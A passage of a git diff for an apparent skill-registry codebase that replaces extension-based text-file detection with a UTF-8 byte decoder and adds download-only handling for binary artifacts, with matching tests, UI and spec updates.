K,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC;AAC9D,CAAC"} \ No newline at end of file diff --git a/packages/schema/src/textFiles.test.ts b/packages/schema/src/textFiles.test.ts index a47e10c3..e56dde53 100644 --- a/packages/schema/src/textFiles.test.ts +++ b/packages/schema/src/textFiles.test.ts @@ -2,56 +2,28 @@ import { describe, expect, it } from "vitest"; import * as schema from "."; -import { - guessTextContentType, - isTextContentType, - normalizeTextContentType, - TEXT_FILE_EXTENSION_SET, -} from "./textFiles"; +import { decodeUtf8Text, normalizeContentType } from "./textFiles"; describe("clawhub-schema textFiles", () => { - it("exports text-file extension set", () => { - expect(TEXT_FILE_EXTENSION_SET.has("md")).toBe(true); - expect(TEXT_FILE_EXTENSION_SET.has("r")).toBe(true); - expect(TEXT_FILE_EXTENSION_SET.has("ps1")).toBe(true); - expect(TEXT_FILE_EXTENSION_SET.has("psm1")).toBe(true); - expect(TEXT_FILE_EXTENSION_SET.has("psd1")).toBe(true); - expect(TEXT_FILE_EXTENSION_SET.has("tsv")).toBe(true); - expect(TEXT_FILE_EXTENSION_SET.has("conf")).toBe(true); - expect(TEXT_FILE_EXTENSION_SET.has("properties")).toBe(true); - expect(TEXT_FILE_EXTENSION_SET.has("dat")).toBe(true); - expect(TEXT_FILE_EXTENSION_SET.has("exe")).toBe(false); - }); - - it("detects text content types with parameters", () => { - expect(isTextContentType("text/plain; charset=utf-8")).toBe(true); - expect(isTextContentType("application/json; charset=utf-8")).toBe(true); - expect(isTextContentType("application/octet-stream")).toBe(false); - }); - - it("guesses canonical content types for text files", () => { - expect(guessTextContentType("src/index.ts")).toBe("application/typescript"); - expect(guessTextContentType("README.md")).toBe("text/markdown"); - expect(guessTextContentType("data/table.csv")).toBe("text/csv"); - expect(guessTextContentType("data/table.tsv")).toBe("text/tab-separated-values"); - expect(guessTextContentType("analysis/model.R")).toBe("text/plain"); - expect(guessTextContentType("scripts/setup.ps1")).toBe("text/plain"); - expect(guessTextContentType("image.png")).toBeUndefined(); - }); - - it("normalizes misleading MIME types for text files", () => { - expect(normalizeTextContentType("src/index.ts", "video/mp2t")).toBe("application/typescript"); - expect(normalizeTextContentType("README.md", "text/markdown; charset=utf-8")).toBe( - "text/markdown", + it("detects UTF-8 text from bytes instead of file extensions", () => { + expect(decodeUtf8Text(new TextEncoder().encode('resource "null_resource" "demo" {}'))).toBe( + 'resource "null_resource" "demo" {}', ); - expect(normalizeTextContentType("image.png", "image/png")).toBe("image/png"); + expect(decodeUtf8Text(new TextEncoder().encode("hĂ©đŸ˜€"))).toBe("hĂ©đŸ˜€"); + expect(decodeUtf8Text(Uint8Array.from([0xef, 0xbb, 0xbf, 0x61]))).toBe("a"); + expect(decodeUtf8Text(Uint8Array.from([0]))).toBe("\0"); + expect(decodeUtf8Text(Uint8Array.from([0, 1, 2, 255]))).toBeNull(); + expect(decodeUtf8Text(Uint8Array.from([0xc3, 0x28]))).toBeNull(); + }); + + it("normalizes supplied MIME types without consulting file extensions", () => { + expect(normalizeContentType("video/mp2t")).toBe("video/mp2t"); + expect(normalizeContentType("text/markdown; charset=utf-8")).toBe("text/markdown"); + expect(normalizeContentType("image/png")).toBe("image/png"); }); it("re-exports helpers from index", () => { - expect(typeof schema.isTextContentType).toBe("function"); - expect(schema.isTextContentType("application/markdown")).toBe(true); - expect(schema.normalizeTextContentType("src/index.ts", "video/mp2t")).toBe( - "application/typescript", - ); + expect(schema.normalizeContentType("video/mp2t")).toBe("video/mp2t"); + expect(schema.decodeUtf8Text(new TextEncoder().encode("hello"))).toBe("hello"); }); }); diff --git a/packages/schema/src/textFiles.ts b/packages/schema/src/textFiles.ts index 48cba4f4..34a07aa0 100644 --- a/packages/schema/src/textFiles.ts +++ b/packages/schema/src/textFiles.ts @@ -1,111 +1,86 @@ -const RAW_TEXT_FILE_EXTENSIONS = [ - "md", - "mdx", - "txt", - "json", - "json5", - "yaml", - "yml", - "toml", - "js", - "cjs", - "mjs", - "ts", - "tsx", - "jsx", - "py", - "sh", - "ps1", - "psm1", - "psd1", - "r", - "rb", - "go", - "rs", - "swift", - "kt", - "java", - "cs", - "cpp", - "c", - "h", - "hpp", - "sql", - "csv", - "tsv", - "ini", - "cfg", - "conf", - "env", - "properties", - "dat", - "xml", - "html", - "css", - "scss", - "sass", - "svg", -] as const; - -export const TEXT_FILE_EXTENSIONS = RAW_TEXT_FILE_EXTENSIONS; -export const TEXT_FILE_EXTENSION_SET = new Set(TEXT_FILE_EXTENSIONS); - -const RAW_TEXT_CONTENT_TYPES = [ - "application/json", - "application/xml", - "application/yaml", - "application/x-yaml", - "application/toml", - "application/javascript", - "application/typescript", - "application/markdown", - "image/svg+xml", -] as const; - -export const TEXT_CONTENT_TYPES = RAW_TEXT_CONTENT_TYPES; -export const TEXT_CONTENT_TYPE_SET = new Set(TEXT_CONTENT_TYPES); - -const CANONICAL_TEXT_CONTENT_TYPES: Record = { - md: "text/markdown", - mdx: "text/markdown", - txt: "text/plain", - json: "application/json", - json5: "application/json", - yaml: "application/yaml", - yml: "application/yaml", - toml: "application/toml", - js: "application/javascript", - cjs: "application/javascript", - mjs: "application/javascript", - jsx: "application/javascript", - ts: "application/typescript", - mts: "application/typescript", - cts: "application/typescript", - tsx: "application/typescript", - csv: "text/csv", - tsv: "text/tab-separated-values", - xml: "application/xml", - svg: "image/svg+xml", -}; - -export function isTextContentType(contentType: string) { - if (!contentType) return false; - const normalized = contentType.split(";", 1)[0]?.trim().toLowerCase() ?? ""; - if (!normalized) return false; - if (normalized.startsWith("text/")) return true; - return TEXT_CONTENT_TYPE_SET.has(normalized); -} - -export function guessTextContentType(path: string) { - const ext = path.trim().toLowerCase().split(".").at(-1) ?? ""; - if (!ext || !TEXT_FILE_EXTENSION_SET.has(ext)) return undefined; - return CANONICAL_TEXT_CONTENT_TYPES[ext] ?? "text/plain"; -} - -export function normalizeTextContentType(path: string, contentType?: string | null) { +export function normalizeContentType(contentType?: string | null) { const normalized = contentType?.split(";", 1)[0]?.trim().toLowerCase() ?? ""; - const guessed = guessTextContentType(path); - if (!guessed) return normalized || undefined; - if (isTextContentType(normalized)) return normalized; - return guessed; + return normalized || undefined; +} + +export function decodeUtf8Text(bytes: Uint8Array) { + const chunks: string[] = []; + const codeUnits: number[] = []; + const appendCodePoint = (codePoint: number) => { + if (codePoint <= 0xffff) { + codeUnits.push(codePoint); + } else { + const offset = codePoint - 0x10000; + codeUnits.push(0xd800 + (offset >> 10), 0xdc00 + (offset & 0x3ff)); + } + if (codeUnits.length >= 8192) { + chunks.push(String.fromCharCode(...codeUnits)); + codeUnits.length = 0; + } + }; + + for (let index = 0; index < bytes.length; index += 1) { + const first = bytes[index] ?? 0; + if (first <= 0x7f) { + appendCodePoint(first); + continue; + } + + const second = bytes[index + 1]; + if (first >= 0xc2 && first <= 0xdf) { + if (second === undefined || second < 0x80 || second > 0xbf) return null; + appendCodePoint(((first & 0x1f) << 6) | (second & 0x3f)); + index += 1; + continue; + } + + const third = bytes[index + 2]; + if (first >= 0xe0 && first <= 0xef) { + const secondMin = first === 0xe0 ? 0xa0 : 0x80; + const secondMax = first === 0xed ? 0x9f : 0xbf; + if ( + second === undefined || + second < secondMin || + second > secondMax || + third === undefined || + third < 0x80 || + third > 0xbf + ) { + return null; + } + appendCodePoint(((first & 0x0f) << 12) | ((second & 0x3f) << 6) | (third & 0x3f)); + index += 2; + continue; + } + + const fourth = bytes[index + 3]; + if (first >= 0xf0 && first <= 0xf4) { + const secondMin = first === 0xf0 ? 0x90 : 0x80; + const secondMax = first === 0xf4 ? 0x8f : 0xbf; + if ( + second === undefined || + second < secondMin || + second > secondMax || + third === undefined || + third < 0x80 || + third > 0xbf || + fourth === undefined || + fourth < 0x80 || + fourth > 0xbf + ) { + return null; + } + appendCodePoint( + ((first & 0x07) << 18) | ((second & 0x3f) << 12) | ((third & 0x3f) << 6) | (fourth & 0x3f), + ); + index += 3; + continue; + } + + return null; + } + + if (codeUnits.length > 0) chunks.push(String.fromCharCode(...codeUnits)); + const text = chunks.join(""); + return text.charCodeAt(0) === 0xfeff ? text.slice(1) : text; } diff --git a/scripts/local-clawscan-dry-run.ts b/scripts/local-clawscan-dry-run.ts index 1faf1d1b..be639c0c 100644 --- a/scripts/local-clawscan-dry-run.ts +++ b/scripts/local-clawscan-dry-run.ts @@ -1,5 +1,6 @@ import { readFile, readdir, stat } from "node:fs/promises"; import { basename, join, relative, resolve, sep } from "node:path"; +import { decodeUtf8Text } from "clawhub-schema"; import ignore from "ignore"; import mime from "mime"; import { runStaticModerationScan, type StaticScanResult } from "../convex/lib/moderationEngine"; @@ -21,7 +22,6 @@ import { import { getFrontmatterMetadata, getFrontmatterValue, - isTextFile, parseClawdisMetadata, parseFrontmatter, } from "../convex/lib/skills"; @@ -224,9 +224,7 @@ async function buildPluginArtifact(source: string, now: () => number) { if (!findFile(files, ["openclaw.plugin.json"])) throw new Error("openclaw.plugin.json required"); - const textFiles = decodeTextFiles( - files.filter((file) => isTextFile(file.path, file.contentType)), - ); + const textFiles = decodeTextFiles(files); const readme = findFile(files, ["readme.md", "readme.mdx", "readme.markdown"]) ?? findFile(files, ["package.json"]); @@ -353,7 +351,7 @@ function verdictToStatus(verdict: LlmEvalResponse["verdict"]): LocalLlmAnalysis[ async function listTextFiles(root: string) { const files = await listPackageFiles(root); - return files.filter((file) => isTextFile(file.path, file.contentType)); + return files.filter((file) => decodeUtf8Text(file.bytes) !== null); } async function listPackageFiles(root: string) { @@ -401,7 +399,10 @@ async function addIgnoreFile(ig: ReturnType, path: string) { } function decodeTextFiles(files: LocalFile[]): TextFile[] { - return files.map((file) => ({ path: file.path, content: textDecoder.decode(file.bytes) })); + return files.flatMap((file) => { + const content = decodeUtf8Text(file.bytes); + return content === null ? [] : [{ path: file.path, content }]; + }); } function findFile(files: LocalFile[], names: string[]) { diff --git a/specs/github-import.md b/specs/github-import.md index 0c4172f2..592bde50 100644 --- a/specs/github-import.md +++ b/specs/github-import.md @@ -42,7 +42,7 @@ Non-goal (v1): private repos (no OAuth/PAT support). Related: -- `docs/skill-format.md` (what counts as a skill; text-only limits) +- `docs/skill-format.md` (what counts as a skill; artifact limits) - `docs/api.md` / `docs/http-api.md` (REST patterns + auth) ## UX @@ -176,7 +176,7 @@ Hard caps: UI affordances: - “Select referenced” -- “Select all text” +- “Select all” - “Clear” - Search/filter by path @@ -184,7 +184,7 @@ UI affordances: Server publishes using existing pipeline: -- Text-only enforced (see `docs/skill-format.md`). +- All bounded regular files are preserved (see `docs/skill-format.md`). - Total ≀ 50MB (selected set). - Must include the detected skill file. diff --git a/specs/spec.md b/specs/spec.md index 3dfe7c91..91143170 100644 --- a/specs/spec.md +++ b/specs/spec.md @@ -118,11 +118,11 @@ From SKILL.md frontmatter + AgentSkills + Clawdis extensions: ## Upload flow (50MB per version) 1. Client requests upload session. -2. Client uploads each file via Convex upload URLs (no binaries, text only). +2. Client uploads each bounded regular file via Convex upload URLs. 3. Client submits metadata + file list + changelog + version + tags. 4. Server validates: - total size ≀ 50MB - - file extensions/text content + - path and size limits - SKILL.md exists and frontmatter parseable - version uniqueness - GitHub account age ≄ 14 days diff --git a/src/__tests__/skills-publish-route.test.tsx b/src/__tests__/skills-publish-route.test.tsx index 182d74d2..e908d0cb 100644 --- a/src/__tests__/skills-publish-route.test.tsx +++ b/src/__tests__/skills-publish-route.test.tsx @@ -534,7 +534,9 @@ describe("Upload route", () => { expect(Object.hasOwn(args ?? {}, "topics")).toBe(false); }); - it("blocks non-text folder uploads (png)", async () => { + it("publishes a mixed skill artifact containing Terraform and opaque files", async () => { + generateUploadUrl.mockResolvedValue("https://upload.local"); + publishVersion.mockResolvedValue({ status: "pending" }); render(); fireEvent.change(screen.getByPlaceholderText("skill-name"), { target: { value: "cool-skill" }, @@ -549,24 +551,43 @@ describe("Upload route", () => { target: { value: "latest" }, }); - const skill = new File(["hello"], "SKILL.md", { type: "text/markdown" }); - const png = new File([new Uint8Array([137, 80, 78, 71]).buffer], "screenshot.png", { - type: "image/png", + const skill = new File(["# Terraform skill\n"], "SKILL.md", { type: "text/markdown" }); + const terraform = new File(['resource "null_resource" "demo" {}\n'], "main.tf", { type: "" }); + const variables = new File(['region = "us-east-1"\n'], "terraform.tfvars", { type: "" }); + const opaque = new File([Uint8Array.from([0, 1, 2, 255]).buffer], "assets/payload.bin", { + type: "application/octet-stream", }); const input = screen.getByTestId("upload-input") as HTMLInputElement; - fireEvent.change(input, { target: { files: [skill, png] } }); + fireEvent.change(input, { target: { files: [skill, terraform, variables, opaque] } }); + fireEvent.click( + screen.getByRole("checkbox", { + name: /i have the rights to publish this skill under mit-0/i, + }), + ); - expect(await screen.findByText("screenshot.png")).toBeTruthy(); - expect( - (await screen.findAllByText(/Remove unsupported files: screenshot\.png/i)).length, - ).toBeGreaterThan(0); - expect(screen.getByText("screenshot.png")).toBeTruthy(); + expect(await screen.findByText("main.tf")).toBeTruthy(); + expect(screen.getByText("terraform.tfvars")).toBeTruthy(); + expect(screen.getByText("assets/payload.bin")).toBeTruthy(); + expect(screen.queryByText(/unsupported/i)).toBeNull(); - fireEvent.click(screen.getByRole("button", { name: "Remove unsupported" })); + fireEvent.click(screen.getByRole("button", { name: /publish skill/i })); await waitFor(() => { - expect(screen.queryByText("screenshot.png")).toBeNull(); + expect(publishVersion).toHaveBeenCalled(); }); + const publishArgs = publishVersion.mock.calls.at(-1)?.[0] as { + files: Array<{ path: string; contentType?: string }>; + }; + expect(publishArgs.files.map((file) => file.path)).toEqual([ + "SKILL.md", + "main.tf", + "terraform.tfvars", + "assets/payload.bin", + ]); + expect(publishArgs.files.find((file) => file.path === "main.tf")?.contentType).toBe(""); + expect(publishArgs.files.find((file) => file.path === "assets/payload.bin")?.contentType).toBe( + "application/octet-stream", + ); }); it("surfaces file validation next to the upload input", async () => { diff --git a/src/components/PackageSourceChooser.tsx b/src/components/PackageSourceChooser.tsx index 6108556b..ec5b292d 100644 --- a/src/components/PackageSourceChooser.tsx +++ b/src/components/PackageSourceChooser.tsx @@ -1,7 +1,7 @@ import { Package, Upload } from "lucide-react"; import { type DragEvent, useRef, useState } from "react"; import { expandDroppedItems } from "../lib/uploadFiles"; -import { formatBytes } from "../routes/upload/-utils"; +import { formatBytes } from "../lib/uploadUtils"; import { Badge } from "./ui/badge"; import { Button } from "./ui/button"; import { Card } from "./ui/card"; diff --git a/src/components/SecurityAuditPage.tsx b/src/components/SecurityAuditPage.tsx index 4c5cc065..7164e4bb 100644 --- a/src/components/SecurityAuditPage.tsx +++ b/src/components/SecurityAuditPage.tsx @@ -728,7 +728,7 @@ function buildArtifactFileUrl(entity: EntityRef, path: string) { entity.kind === "skill" ? `/api/v1/skills/${encodeURIComponent(entity.name)}/file` : `/api/v1/packages/${encodeURIComponent(entity.name)}/file`; - const params = new URLSearchParams({ path }); + const params = new URLSearchParams({ path, preview: "1" }); if (entity.version) params.set("version", entity.version); const relativePath = `${base}?${params.toString()}`; const convexClientBaseUrl = resolveAbsoluteBaseUrl( diff --git a/src/components/SkillDetailPage.tsx b/src/components/SkillDetailPage.tsx index bbebb1cb..9f8a6c12 100644 --- a/src/components/SkillDetailPage.tsx +++ b/src/components/SkillDetailPage.tsx @@ -947,6 +947,7 @@ export function SkillDetailPage({ hasSkillCard={hasSkillCard} latestFiles={latestFiles} latestVersionId={latestVersion?._id ?? null} + latestVersion={latestVersion?.version ?? null} canDeleteVersions={canDeleteSkillVersions} skill={skill as Doc<"skills">} ownerHandle={ownerHandle} diff --git a/src/components/SkillDetailTabs.tsx b/src/components/SkillDetailTabs.tsx index ac77ea5d..ae850164 100644 --- a/src/components/SkillDetailTabs.tsx +++ b/src/components/SkillDetailTabs.tsx @@ -90,6 +90,7 @@ type SkillDetailTabsProps = { hasSkillCard: boolean; latestFiles: SkillFile[]; latestVersionId: Id<"skillVersions"> | null; + latestVersion?: string | null; canDeleteVersions?: boolean; skill: Doc<"skills">; ownerHandle?: string | null; @@ -115,6 +116,7 @@ export function SkillDetailTabs({ hasSkillCard, latestFiles, latestVersionId, + latestVersion, canDeleteVersions = false, skill, ownerHandle, @@ -335,7 +337,13 @@ export function SkillDetailTabs({ {showArchiveTabs && activeTab === "files" ? (
Loading file viewer...
}> - + ) : null} diff --git a/src/components/SkillDiffCard.test.tsx b/src/components/SkillDiffCard.test.tsx index 7694ec1f..7451d2e0 100644 --- a/src/components/SkillDiffCard.test.tsx +++ b/src/components/SkillDiffCard.test.tsx @@ -5,12 +5,12 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; import type { Doc, Id } from "../../convex/_generated/dataModel"; import { SkillDiffCard } from "./SkillDiffCard"; -const getFileTextMock = vi.fn(); +const getFilePreviewMock = vi.fn(); let diffEditorMounts = 0; let diffEditorUnmounts = 0; vi.mock("convex/react", () => ({ - useAction: () => getFileTextMock, + useAction: () => getFilePreviewMock, })); vi.mock("../lib/monacoLoader", () => ({ @@ -87,8 +87,8 @@ const skill = { describe("SkillDiffCard", () => { beforeEach(() => { - getFileTextMock.mockReset(); - getFileTextMock.mockResolvedValue({ text: "content" }); + getFilePreviewMock.mockReset(); + getFilePreviewMock.mockResolvedValue({ text: "content" }); diffEditorMounts = 0; diffEditorUnmounts = 0; }); @@ -164,4 +164,25 @@ describe("SkillDiffCard", () => { expect(diffEditorMounts).toBe(1); expect(diffEditorUnmounts).toBe(0); }); + + it("shows a download-only state when either file cannot be previewed as text", async () => { + installMatchMedia(false); + getFilePreviewMock.mockImplementation(({ versionId }: { versionId: string }) => + Promise.resolve({ + text: versionId === "skillVersions:1" ? null : "changed", + }), + ); + + const leftVersion = makeVersion("skillVersions:1", "1.0.1"); + const rightVersion = makeVersion("skillVersions:2", "1.0.2"); + leftVersion.files = [{ path: "diagram.svg", size: 18 }] as typeof leftVersion.files; + rightVersion.files = [{ path: "diagram.svg", size: 22 }] as typeof rightVersion.files; + + render(); + + expect( + await screen.findByText(/base file is download-only and cannot be compared as text/i), + ).toBeTruthy(); + expect(screen.queryByTestId("diff-editor")).toBeNull(); + }); }); diff --git a/src/components/SkillDiffCard.tsx b/src/components/SkillDiffCard.tsx index cb3234c9..52416ca4 100644 --- a/src/components/SkillDiffCard.tsx +++ b/src/components/SkillDiffCard.tsx @@ -49,6 +49,11 @@ type SizeWarning = { path: string; }; +type PreviewWarning = { + side: FileSide; + path: string; +}; + const EMPTY_DIFF_TEXT = ""; const COMPACT_DIFF_THRESHOLD = 768; const EMPTY_DIFF_STATS = { additions: 0, deletions: 0, hunks: 0 }; @@ -140,7 +145,7 @@ function DiffViewerLoading() { } export function SkillDiffCard({ skill, versions, variant = "card" }: SkillDiffCardProps) { - const getFileText = useAction(api.skills.getFileText); + const getFilePreview = useAction(api.skills.getFilePreview); const monaco = useMonaco(); const { ref: containerRef, isCompact } = useCompactDiffLayout(); const [viewMode, setViewMode] = useState<"split" | "inline">(getDefaultViewMode); @@ -154,7 +159,8 @@ export function SkillDiffCard({ skill, versions, variant = "card" }: SkillDiffCa const [monacoReady, setMonacoReady] = useState(false); const [monacoError, setMonacoError] = useState(null); const [sizeWarning, setSizeWarning] = useState(null); - const cacheRef = useRef(new Map()); + const [previewWarning, setPreviewWarning] = useState(null); + const cacheRef = useRef(new Map()); const userSelectedViewModeRef = useRef(false); const diffEditorRef = useRef(null); const diffUpdateDisposableRef = useRef<{ dispose: () => void } | null>(null); @@ -319,11 +325,11 @@ export function SkillDiffCard({ skill, versions, variant = "card" }: SkillDiffCa useEffect(() => { let cancelled = false; - async function loadText(versionId: Id<"skillVersions">, path: string) { + async function loadPreview(versionId: Id<"skillVersions">, path: string) { const cacheKey = `${versionId}:${path}`; const cached = cacheRef.current.get(cacheKey); if (cached !== undefined) return cached; - const result = await getFileText({ versionId, path }); + const result = await getFilePreview({ versionId, path }); cacheRef.current.set(cacheKey, result.text); return result.text; } @@ -332,12 +338,17 @@ export function SkillDiffCard({ skill, versions, variant = "card" }: SkillDiffCa if (!selectedItem || !leftVersionId || !rightVersionId) { setLeftText(EMPTY_DIFF_TEXT); setRightText(EMPTY_DIFF_TEXT); + setError(null); + setSizeWarning(null); + setPreviewWarning(null); + setIsLoading(false); return; } setIsLoading(true); setError(null); setSizeWarning(null); + setPreviewWarning(null); const leftFile = selectedItem.left; const rightFile = selectedItem.right; @@ -362,10 +373,22 @@ export function SkillDiffCard({ skill, versions, variant = "card" }: SkillDiffCa try { const [nextLeft, nextRight] = await Promise.all([ - leftFile ? loadText(leftVersionId, leftFile.path) : Promise.resolve(""), - rightFile ? loadText(rightVersionId, rightFile.path) : Promise.resolve(""), + leftFile ? loadPreview(leftVersionId, leftFile.path) : Promise.resolve(""), + rightFile ? loadPreview(rightVersionId, rightFile.path) : Promise.resolve(""), ]); if (cancelled) return; + const unavailable = + leftFile && nextLeft === null + ? { side: "left" as const, path: leftFile.path } + : rightFile && nextRight === null + ? { side: "right" as const, path: rightFile.path } + : null; + if (unavailable) { + setPreviewWarning(unavailable); + setLeftText(EMPTY_DIFF_TEXT); + setRightText(EMPTY_DIFF_TEXT); + return; + } setLeftText(nextLeft ?? EMPTY_DIFF_TEXT); setRightText(nextRight ?? EMPTY_DIFF_TEXT); } catch (err) { @@ -381,7 +404,7 @@ export function SkillDiffCard({ skill, versions, variant = "card" }: SkillDiffCa return () => { cancelled = true; }; - }, [getFileText, leftVersionId, rightVersionId, selectedItem]); + }, [getFilePreview, leftVersionId, rightVersionId, selectedItem]); useEffect(() => { let cancelled = false; @@ -632,6 +655,11 @@ export function SkillDiffCard({ skill, versions, variant = "card" }: SkillDiffCa
{error ? (
{error}
+ ) : previewWarning ? ( +
+ {previewWarning.side === "left" ? "Base" : "Target"} file is download-only and cannot + be compared as text: {previewWarning.path} +
) : sizeWarning ? (
{sizeWarning.side === "left" ? "Left" : "Right"} file exceeds 200KB:{" "} diff --git a/src/components/SkillFilesPanel.test.tsx b/src/components/SkillFilesPanel.test.tsx index 28a4dfba..83bfaed8 100644 --- a/src/components/SkillFilesPanel.test.tsx +++ b/src/components/SkillFilesPanel.test.tsx @@ -3,10 +3,10 @@ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import type { Doc, Id } from "../../convex/_generated/dataModel"; import { SkillFilesPanel } from "./SkillFilesPanel"; -const getFileTextMock = vi.fn(); +const getFilePreviewMock = vi.fn(); vi.mock("convex/react", () => ({ - useAction: () => getFileTextMock, + useAction: () => getFilePreviewMock, })); type SkillFile = Doc<"skillVersions">["files"][number]; @@ -17,8 +17,8 @@ function makeFile(path: string, size: number): SkillFile { describe("SkillFilesPanel", () => { beforeEach(() => { - getFileTextMock.mockReset(); - getFileTextMock.mockResolvedValue({ + getFilePreviewMock.mockReset(); + getFilePreviewMock.mockResolvedValue({ text: "", size: 0, sha256: "0".repeat(64), @@ -30,7 +30,7 @@ describe("SkillFilesPanel", () => { }); it("caches loaded files and avoids duplicate fetches", async () => { - getFileTextMock.mockResolvedValue({ + getFilePreviewMock.mockResolvedValue({ text: "echo hello", size: 10, sha256: "a".repeat(64), @@ -39,7 +39,9 @@ describe("SkillFilesPanel", () => { render( } + version={null} latestFiles={[makeFile("scripts/run.sh", 10)]} + skillSlug="demo" />, ); @@ -51,14 +53,18 @@ describe("SkillFilesPanel", () => { fireEvent.click(fileButton); await waitFor(() => { - expect(getFileTextMock).toHaveBeenCalledTimes(1); + expect(getFilePreviewMock).toHaveBeenCalledTimes(1); }); }); it("shows a loading skeleton while fetching uncached file content", () => { - getFileTextMock.mockImplementation( + getFilePreviewMock.mockImplementation( () => - new Promise<{ text: string; size: number; sha256: string }>(() => { + new Promise<{ + text: string | null; + size: number; + sha256: string; + }>(() => { /* never resolves */ }), ); @@ -66,7 +72,9 @@ describe("SkillFilesPanel", () => { const { container } = render( } + version={null} latestFiles={[makeFile("scripts/run.sh", 10)]} + skillSlug="demo" />, ); @@ -78,7 +86,7 @@ describe("SkillFilesPanel", () => { }); it("clears the loading min-height after file content resolves", async () => { - getFileTextMock.mockResolvedValue({ + getFilePreviewMock.mockResolvedValue({ text: "echo hello", size: 10, sha256: "a".repeat(64), @@ -87,7 +95,9 @@ describe("SkillFilesPanel", () => { const { container } = render( } + version={null} latestFiles={[makeFile("scripts/run.sh", 10)]} + skillSlug="demo" />, ); @@ -102,7 +112,9 @@ describe("SkillFilesPanel", () => { const { container } = render( } + version={null} latestFiles={[makeFile("empty.txt", 0)]} + skillSlug="demo" />, ); @@ -114,15 +126,73 @@ describe("SkillFilesPanel", () => { expect(container.querySelector("pre.file-viewer-code")?.textContent).toBe(""); }); + it("offers opaque files as download-only and caches the result", async () => { + getFilePreviewMock.mockResolvedValue({ + text: null, + size: 4, + sha256: "d".repeat(64), + }); + + render( + } + version="1.2.3" + latestFiles={[makeFile("assets/payload.bin", 4)]} + skillSlug="demo" + ownerHandle="acme" + />, + ); + + const fileButton = screen.getByRole("button", { name: /assets\/payload\.bin/i }); + fireEvent.click(fileButton); + + await screen.findByText(/available to download but cannot be previewed as text/i); + expect(screen.getByRole("link", { name: "Download payload.bin" }).getAttribute("href")).toBe( + "/api/v1/skills/demo/file?path=assets%2Fpayload.bin&ownerHandle=acme&version=1.2.3", + ); + + fireEvent.click(fileButton); + expect(getFilePreviewMock).toHaveBeenCalledTimes(1); + }); + + it("encodes URL syntax in literal artifact download paths", async () => { + getFilePreviewMock.mockResolvedValue({ + text: null, + size: 4, + sha256: "d".repeat(64), + }); + + render( + } + version="1.2.3" + latestFiles={[makeFile("docs/spec#draft?.bin", 4)]} + skillSlug="demo" + ownerHandle="acme" + />, + ); + + fireEvent.click(screen.getByRole("button", { name: /docs\/spec#draft\?\.bin/i })); + + const downloadLink = await screen.findByRole("link", { name: "Download spec#draft?.bin" }); + expect(downloadLink.getAttribute("href")).toBe( + "/api/v1/skills/demo/file?path=docs%2Fspec%23draft%3F.bin&ownerHandle=acme&version=1.2.3", + ); + }); + it("ignores stale responses when newer file selection is active", async () => { const resolvers: Record< string, - (value: { text: string; size: number; sha256: string }) => void + (value: { text: string | null; size: number; sha256: string }) => void > = {}; - getFileTextMock.mockImplementation( + getFilePreviewMock.mockImplementation( ({ path }: { path: string }) => - new Promise<{ text: string; size: number; sha256: string }>((resolve) => { + new Promise<{ + text: string | null; + size: number; + sha256: string; + }>((resolve) => { resolvers[path] = resolve; }), ); @@ -130,7 +200,9 @@ describe("SkillFilesPanel", () => { render( } + version={null} latestFiles={[makeFile("a.txt", 5), makeFile("b.txt", 6)]} + skillSlug="demo" />, ); @@ -138,8 +210,16 @@ describe("SkillFilesPanel", () => { fireEvent.click(screen.getByRole("button", { name: "Back to file list" })); fireEvent.click(screen.getByRole("button", { name: /b\.txt/i })); - resolvers["a.txt"]({ text: "alpha", size: 5, sha256: "b".repeat(64) }); - resolvers["b.txt"]({ text: "beta", size: 6, sha256: "c".repeat(64) }); + resolvers["a.txt"]({ + text: "alpha", + size: 5, + sha256: "b".repeat(64), + }); + resolvers["b.txt"]({ + text: "beta", + size: 6, + sha256: "c".repeat(64), + }); await screen.findByText("beta"); expect(screen.queryByText("alpha")).toBeNull(); @@ -161,7 +241,12 @@ describe("SkillFilesPanel", () => { makeFile(`folder/file-${index + 1}.md`, index + 1), ); render( - } latestFiles={files} />, + } + version={null} + latestFiles={files} + skillSlug="demo" + />, ); expect(screen.getByRole("button", { name: /folder\/file-10\.md/i })).toBeTruthy(); diff --git a/src/components/SkillFilesPanel.tsx b/src/components/SkillFilesPanel.tsx index 5b37095d..e4ee6d86 100644 --- a/src/components/SkillFilesPanel.tsx +++ b/src/components/SkillFilesPanel.tsx @@ -1,9 +1,10 @@ import { useAction } from "convex/react"; -import { ArrowLeft, FileText, Fingerprint, Folder } from "lucide-react"; +import { ArrowLeft, Download, FileText, Fingerprint, Folder } from "lucide-react"; import { useCallback, useEffect, useMemo, useRef, useState } from "react"; import type { CSSProperties, ReactNode } from "react"; import { api } from "../../convex/_generated/api"; import type { Doc, Id } from "../../convex/_generated/dataModel"; +import { buildSkillFileHref } from "../lib/skillReadmeLinks"; import { CodeWrapToggleButton, useCodeWrapToggle } from "./CodeWrapToggle"; import { formatBytes } from "./skillDetailUtils"; @@ -11,7 +12,10 @@ type SkillFile = Doc<"skillVersions">["files"][number]; type SkillFilesPanelProps = { versionId: Id<"skillVersions"> | null; + version: string | null; latestFiles: SkillFile[]; + skillSlug: string; + ownerHandle?: string | null; }; type FileTreeFileNode = { @@ -110,8 +114,14 @@ function FileViewerSkeleton() { ); } -export function SkillFilesPanel({ versionId, latestFiles }: SkillFilesPanelProps) { - const getFileText = useAction(api.skills.getFileText); +export function SkillFilesPanel({ + versionId, + version, + latestFiles, + skillSlug, + ownerHandle, +}: SkillFilesPanelProps) { + const getFilePreview = useAction(api.skills.getFilePreview); const [selectedPath, setSelectedPath] = useState(null); const [fileContent, setFileContent] = useState(null); const [fileMeta, setFileMeta] = useState<{ size: number; sha256: string } | null>(null); @@ -120,7 +130,9 @@ export function SkillFilesPanel({ versionId, latestFiles }: SkillFilesPanelProps const isMounted = useRef(true); const requestId = useRef(0); const fileListRef = useRef(null); - const fileCache = useRef(new Map()); + const fileCache = useRef( + new Map(), + ); const [viewerMinHeight, setViewerMinHeight] = useState(); const { preRef, isWrapped, canWrap, toggleWrap } = useCodeWrapToggle(fileContent ?? ""); @@ -134,6 +146,9 @@ export function SkillFilesPanel({ versionId, latestFiles }: SkillFilesPanelProps const fileTree = useMemo(() => buildFileTree(latestFiles), [latestFiles]); const selectedFileName = selectedPath?.split("/").pop() ?? selectedPath ?? ""; + const downloadUrl = selectedPath + ? buildSkillFileHref(selectedPath, skillSlug, ownerHandle, version) + : null; useEffect(() => { requestId.current += 1; @@ -151,7 